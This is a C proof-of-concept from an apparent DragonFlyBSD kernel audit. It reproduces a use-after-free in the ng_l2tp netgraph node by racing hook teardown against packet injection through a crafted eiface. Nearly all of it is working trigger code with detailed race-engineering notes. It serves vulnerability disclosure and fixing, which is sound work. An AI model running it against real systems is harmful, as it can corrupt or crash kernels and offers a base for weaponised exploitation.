โฌข DragonFlyBSD Kernel Audit
DF-3495 / l2tp_hook_uaf_eiface.c
โ† back to finding โ†“ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
/*
 * DF-3495 PoC v4 โ€” v1 ng_l2tp session-hook / hook-private use-after-free
 * =======================================================================
 * Target: sys/netgraph/l2tp/ng_l2tp.c (DragonFly v1 netgraph l2tp node)
 *
 * Bug: ng_l2tp_recv_lower() caches the session hook + hpriv from a lockless
 *      LIST_FOREACH over node->hooks (ng_l2tp.c:769-781) and dereferences /
 *      delivers through them later (861-882) with no reference and no lock,
 *      while ng_l2tp_disconnect() (661-664) kfree()s the hpriv (and the
 *      framework frees the hook struct) the moment an rmhook lands.
 *
 * Concurrency engineering (the hard part on DragonFly):
 *   - ng_socket (data or control) dispatches everything through cpu0's
 *     netisr port (socreate -> netisr_cpuport(0)); ng_ksocket's UDP socket
 *     also re-dispatches input on its so_port.  Those paths cannot race.
 *   - The lower hook fed by ng_eiface runs from the interface transmit
 *     path (ifq_dispatch -> ng_eiface_start -> NG_SEND_DATA) on netisr
 *     CPUs chosen by the packet flow hash โ€” genuinely parallel with the
 *     cpu0-pinned rmhook processing of the ngctl control socket.
 *   - The Ethernet header doubles as the L2TP header:
 *       dst MAC = 40:02:<len_hi>:<len_lo>:00:00
 *         -> l2tp hdr 0x4002 (LEN|V2), length field, tunnel id 0
 *       src MAC = 00:01:xx:xx:xx:xx
 *         -> session id 0x0001 (bytes 6-7 of the l2tp view)
 *     No SEQ bit => no duplicate-drop state machine.
 *
 * Oracle: injector only ever sends session id 0x0001; the teardown thread
 *      ping-pongs hooks session_0001<->s1 and session_0003<->s3.  Any
 *      packet received at the socket node from hook "s3" was delivered
 *      through a stale (freed-then-reallocated) cached hook pointer.
 *
 * Build:  cc -O2 -Wall -pthread -o l2tp_hook_uaf l2tp_hook_uaf.c
 * Run (root):    ./l2tp_hook_uaf [seconds] [injectors] [teardowns]
 * Needs: kldload ng_l2tp ng_eiface ng_socket
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>

/* ---------------- results ---------------- */
static volatile unsigned long n_sent, n_s1, n_s3, n_other, n_err;
static volatile unsigned long n_cycles, n_rm_fail, n_cn_fail, n_cn_ok;
static volatile int stop_flag;
static double t_hit_s3 = 0.0;

#define INJ_NODE	inj_node_name	/* unique per run (pid suffix) */
#define TO_L2_HOOK	"h_l2"
#define TUNNEL_ID	0x1234
/* frame geometry: 14 ether + 20 ip + 8 udp + 100 data = 142 bytes */
#define DATA_LEN	100
#define FRAME_LEN	142
#define DST_IP		"10.99.0.1"
#define SRC_IP		"10.99.0.2"

static char inj_node_name[24];

struct ng_mesg_k {
	struct {
		u_char  version;
		u_char  spare;
		u_int16_t arglen;
		u_int32_t flags;
		u_int32_t token;
		u_int32_t typecookie;
		u_int32_t cmd;
		u_char  cmdstr[32];
	} header;
	char data[1024];
};

static u_int32_t tok = 0x1000;

#define GENERIC_COOKIE_K	851672668u
#define NGM_MKPEER_K		2u
#define NGM_CONNECT_K		3u
#define NGM_NAME_K		4u
#define NGM_RMHOOK_K		5u
#define NGM_L2TP_COOKIE_K	1011392401u
#define NGM_L2TP_SET_CONFIG_K	1u

/* local struct copies matching the kernel headers */
struct mkp_k   { char type[32]; char ourhook[32]; char peerhook[32]; };
struct cnt_k   { char path[512]; char ourhook[32]; char peerhook[32]; };
struct rmh_k   { char ourhook[32]; };
struct name_k  { char name[32]; };
struct cfgk    {
	u_char   enabled, match_id;
	u_int16_t tunnel_id, peer_id, peer_win, rexmit_max, rexmit_max_to;
};

static int
ng_open_ctl(void)
{
	return socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
}

static int
ng_send_generic(int fd, const char *path, u_int32_t cookie, u_int32_t cmd,
    const void *arg, size_t arglen)
{
	struct sockaddr_ng sg;
	struct ng_mesg_k m;
	static char rbuf[2048];

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	m.header.cmd = cmd;
	if (arglen)
		memcpy(m.data, arg, arglen);
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 3;
	sg.sg_family = AF_NETGRAPH;
	if (path && *path) {
		strcpy(sg.sg_data, path);
		sg.sg_len = 3 + strlen(path);
	}
	if (sendto(fd, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sg, sg.sg_len) < 0)
		return (-1);
	(void)recv(fd, rbuf, sizeof(rbuf), MSG_DONTWAIT);
	return (0);
}

/* send a control message and return the (first 32 bytes of) its reply */
static int
ng_send_getreply(int fd, const char *path, u_int32_t cookie, u_int32_t cmd,
    void *reply, size_t replysz)
{
	struct sockaddr_ng sg;
	struct ng_mesg_k m;
	static char rbuf[2048];
	int n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	m.header.cmd = cmd;
	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 3;
	sg.sg_family = AF_NETGRAPH;
	if (path && *path) {
		strcpy(sg.sg_data, path);
		sg.sg_len = 3 + strlen(path);
	}
	if (sendto(fd, &m, sizeof(m.header), 0,
	    (struct sockaddr *)&sg, sg.sg_len) < 0)
		return (-1);
	n = recv(fd, rbuf, sizeof(rbuf), 0);
	if (n < 40)
		return (-1);
	memcpy(reply, ((struct ng_mesg_k *)rbuf)->data, replysz);
	return (0);
}

/* ---------------- injector: UDP out the eiface ---------------- */

static void *
injector(void *arg)
{
	struct sockaddr_in dst;
	unsigned char data[DATA_LEN];
	static int pool[64];
	static int npool;
	int pool_i = 0;
	int s;

	(void)arg;
	if (npool == 0) {
		for (int k = 0; k < 64; k++) {
			pool[k] = socket(AF_INET, SOCK_DGRAM, 0);
			if (pool[k] < 0) { perror("udp socket"); return (NULL); }
		}
		npool = 64;
	}
	memset(data, 0x41, sizeof(data));
	data[0] = 'D'; data[1] = 'F'; data[2] = '3'; data[3] = '4';
	data[4] = '9'; data[5] = '5';

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);
	dst.sin_addr.s_addr = inet_addr(DST_IP);

	while (!stop_flag) {
		s = pool[pool_i++ & 63];
		if (sendto(s, data, sizeof(data), 0,
		    (struct sockaddr *)&dst, sizeof(dst)) < 0)
			n_err++;
		else
			n_sent++;
	}
	return (NULL);
}

/* ---------------- teardown: ping-pong session hooks ---------------- */

static void *
teardown(void *arg)
{
	int c;
	struct rmh_k rm;
	struct cnt_k cn;
	char l2path[64];
	int i = 0;

	(void)arg;
	snprintf(l2path, sizeof(l2path), "%s:%s", INJ_NODE, TO_L2_HOOK);
	c = ng_open_ctl();
	if (c < 0) {
		perror("teardown: ctl socket");
		return (NULL);
	}

	while (!stop_flag) {
		const char *live = (i & 1) ? "session_0003" : "session_0001";
		const char *peer = (i & 1) ? "s3" : "s1";
		const char *dead = (i & 1) ? "session_0001" : "session_0003";

		memset(&rm, 0, sizeof(rm));
		strcpy(rm.ourhook, dead);
		if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_RMHOOK_K,
		    &rm, sizeof(rm)) < 0)
			n_rm_fail++;

		memset(&cn, 0, sizeof(cn));
		strcpy(cn.path, "ctrl");	/* from L cross ctrl -> injN */
		strcpy(cn.ourhook, live);
		strcpy(cn.peerhook, peer);
		if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_CONNECT_K,
		    &cn, sizeof(cn)) < 0)
			n_cn_fail++;
		else
			n_cn_ok++;
		i++;
		n_cycles++;
	}
	close(c);
	return (NULL);
}

/* ---------------- main ---------------- */

int
main(int argc, char **argv)
{
	int runtime = (argc > 1) ? atoi(argv[1]) : 60;
	int n_inj = (argc > 2) ? atoi(argv[2]) : 4;
	int n_td = (argc > 3) ? atoi(argv[3]) : 2;
	int c, d;
	struct name_k nm;
	struct mkp_k mk;
	struct cnt_k cn;
	struct cfgk cfg;
	pthread_t th[32], td[16];
	int n_th = 0, n_tdth = 0;
	static char buf[256 * 1024];
	struct sockaddr_ng from;
	struct timeval tv0, tv1, now;
	char l2path[64], cmd[256];
	char ifname[40];
	char mac[24];

	gettimeofday(&tv0, NULL);
	setvbuf(stdout, NULL, _IONBF, 0);
	snprintf(inj_node_name, sizeof(inj_node_name), "inj%d", (int)getpid());
	snprintf(l2path, sizeof(l2path), "%s:%s", INJ_NODE, TO_L2_HOOK);

	c = ng_open_ctl();
	if (c < 0) { perror("control socket"); exit(1); }

	/* name our control node */
	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, INJ_NODE);
	if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_NAME_K,
	    &nm, sizeof(nm)) < 0) { perror("name"); exit(1); }

	/* 1) mkpeer l2tp:  injN:h_l2 <-> L:ctrl  (ctrl hook is unused) */
	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "l2tp");
	strcpy(mk.ourhook, TO_L2_HOOK);
	strcpy(mk.peerhook, "ctrl");
	if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_MKPEER_K,
	    &mk, sizeof(mk)) < 0) { perror("mkpeer l2tp"); exit(1); }

	/* 2) mkpeer eiface from L:  L:lower <-> E:ether */
	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "eiface");
	strcpy(mk.ourhook, "lower");
	strcpy(mk.peerhook, "ether");
	if (ng_send_generic(c, l2path, GENERIC_COOKIE_K, NGM_MKPEER_K,
	    &mk, sizeof(mk)) < 0) { perror("mkpeer eiface"); exit(1); }

	/* 3) get the eiface interface name */
	{
		struct { char name[32]; } ifn;
		char epath[80];
		snprintf(epath, sizeof(epath), "%s.lower", l2path);
		if (ng_send_getreply(c, epath, 948105892u /*NGM_EIFACE_COOKIE*/,
		    1 /*NGM_EIFACE_GET_IFNAME*/, &ifn, sizeof(ifn)) < 0) {
			perror("get ifname"); exit(1);
		}
		ifn.name[sizeof(ifn.name) - 1] = '\0';
		snprintf(ifname, sizeof(ifname), "%s", ifn.name);
	}
	printf("eiface interface: %s\n", ifname);

	/* 4) configure the interface so the crafted Ethernet header appears
	 *    as a valid L2TP data header (see top comment) */
	snprintf(mac, sizeof(mac), "00:01:02:03:04:05");	/* sid 0x0001 */
	snprintf(cmd, sizeof(cmd),
	    "ifconfig %s ether %s up >/dev/null 2>&1", ifname, mac);
	if (system(cmd) != 0) printf("warning: ifconfig ether failed\n");
	snprintf(cmd, sizeof(cmd),
	    "ifconfig %s %s/32 %s >/dev/null 2>&1", ifname, SRC_IP, DST_IP);
	if (system(cmd) != 0) { printf("warning: ifconfig addr failed\n"); exit(1); }
	snprintf(cmd, sizeof(cmd),
	    "arp -s %s 40:02:%02x:%02x:00:00 >/dev/null 2>&1",
	    DST_IP, (FRAME_LEN >> 8) & 0xff, FRAME_LEN & 0xff);
	if (system(cmd) != 0) printf("warning: arp -s failed\n");
	snprintf(cmd, sizeof(cmd),
	    "route add -host %s %s -static >/dev/null 2>&1", DST_IP, SRC_IP);
	system(cmd);

	/* 5) enable the l2tp node */
	memset(&cfg, 0, sizeof(cfg));
	cfg.enabled = 1;
	cfg.match_id = 0;
	cfg.tunnel_id = TUNNEL_ID;
	cfg.peer_id = 0x4321;
	cfg.peer_win = 4;
	cfg.rexmit_max = 5;
	cfg.rexmit_max_to = 30;
	if (ng_send_generic(c, l2path, NGM_L2TP_COOKIE_K,
	    NGM_L2TP_SET_CONFIG_K, &cfg, sizeof(cfg)) < 0) {
		perror("setconfig"); exit(1);
	}

	/* 6) initial session hook: injN:s1 <-> L:session_0001 */
	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, TO_L2_HOOK);
	strcpy(cn.ourhook, "s1");
	strcpy(cn.peerhook, "session_0001");
	if (ng_send_generic(c, "", GENERIC_COOKIE_K, NGM_CONNECT_K,
	    &cn, sizeof(cn)) < 0) { perror("connect sess_0001"); exit(1); }

	/* 7) sink data socket bound to node injN */
	d = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	if (d < 0) { perror("data socket"); exit(1); }
	{
		struct sockaddr_ng sg;
		int bufsz = 4 * 1024 * 1024;
		struct timeval tvto;
		setsockopt(d, SOL_SOCKET, SO_RCVBUF, &bufsz, sizeof(bufsz));
		tvto.tv_sec = 0;
		tvto.tv_usec = 100000;
		setsockopt(d, SOL_SOCKET, SO_RCVTIMEO, &tvto, sizeof(tvto));
		memset(&sg, 0, sizeof(sg));
		snprintf(sg.sg_data, 32, "%s:", INJ_NODE);
		sg.sg_len = 3 + strlen(sg.sg_data);
		sg.sg_family = AF_NETGRAPH;
		if (connect(d, (struct sockaddr *)&sg, sg.sg_len) < 0) {
			perror("connect data socket"); exit(1);
		}
	}

	printf("DF-3495: graph up (%s:h_l2=l2tp:ctrl, l2tp:lower=eiface:%s)\n",
	    INJ_NODE, ifname);
	printf("frame: dst=40:02:%02x:%02x:00:00 src=00:01:02:03:04:05 "
	    "(L2TP hdr 0x4002, tid 0, sid 0x0001)\n",
	    (FRAME_LEN >> 8) & 0xff, FRAME_LEN & 0xff);
	printf("runtime=%ds injectors=%d teardowns=%d\n", runtime, n_inj, n_td);
	printf("oracle: any packet received from hook \"s3\" == UAF hit "
	    "(injector only ever sends session id 0x0001)\n");

	for (int i = 0; i < n_inj; i++)
		pthread_create(&th[n_th++], NULL, injector, NULL);
	for (int i = 0; i < n_td; i++)
		pthread_create(&td[n_tdth++], NULL, teardown, NULL);

	/* sink: tally packets by source hook */
	while (!stop_flag) {
		socklen_t flen = sizeof(from);
		ssize_t n;

		n = recvfrom(d, buf, sizeof(buf), 0,
		    (struct sockaddr *)&from, &flen);
		if (n < 0) {
			gettimeofday(&now, NULL);
			if (now.tv_sec - tv0.tv_sec >= runtime)
				stop_flag = 1;
			continue;
		}
		if (flen >= 4 && strcmp(from.sg_data, "s1") == 0)
			n_s1++;
		else if (flen >= 4 && strcmp(from.sg_data, "s3") == 0) {
			if (n_s3 == 0) {
				gettimeofday(&now, NULL);
				t_hit_s3 = now.tv_sec - tv0.tv_sec +
				    (now.tv_usec - tv0.tv_usec) / 1e6;
				printf("*** UAF HIT: packet for session 0x0001 "
				    "delivered via hook \"s3\" (freed+"
				    "reallocated hook) after %.3fs "
				    "payload=%02x%02x%02x%02x\n",
				    t_hit_s3, buf[0] & 0xff, buf[1] & 0xff,
				    buf[2] & 0xff, buf[3] & 0xff);
			}
			n_s3++;
		} else
			n_other++;

		gettimeofday(&now, NULL);
		if (now.tv_sec - tv0.tv_sec >= runtime)
			stop_flag = 1;
	}

	for (int i = 0; i < n_th; i++)
		pthread_join(th[i], NULL);
	for (int i = 0; i < n_tdth; i++)
		pthread_join(td[i], NULL);

	gettimeofday(&tv1, NULL);
	printf("\n=== DF-3495 results after %.1fs ===\n",
	    tv1.tv_sec - tv0.tv_sec + (tv1.tv_usec - tv0.tv_usec) / 1e6);
	printf("udp injected : %lu (send errors: %lu)\n", n_sent, n_err);
	printf("delivered s1 : %lu (normal path)\n", n_s1);
	printf("delivered s3 : %lu  <== UAF HITS (must be 0 on a fixed kernel)\n",
	    n_s3);
	printf("delivered ?  : %lu (unexpected sources)\n", n_other);
	printf("teardown cycles: %lu (rm fail: %lu, connect ok: %lu, fail: %lu)\n",
	    n_cycles, n_rm_fail, n_cn_ok, n_cn_fail);

	if (n_s3 > 0) {
		printf("VERDICT: REPRODUCED โ€” stale session-hook delivery "
		    "(use-after-free, cross-session misdelivery)\n");
		exit(0);
	}
	printf("VERDICT: no s3 delivery observed this run\n");
	exit(3);
}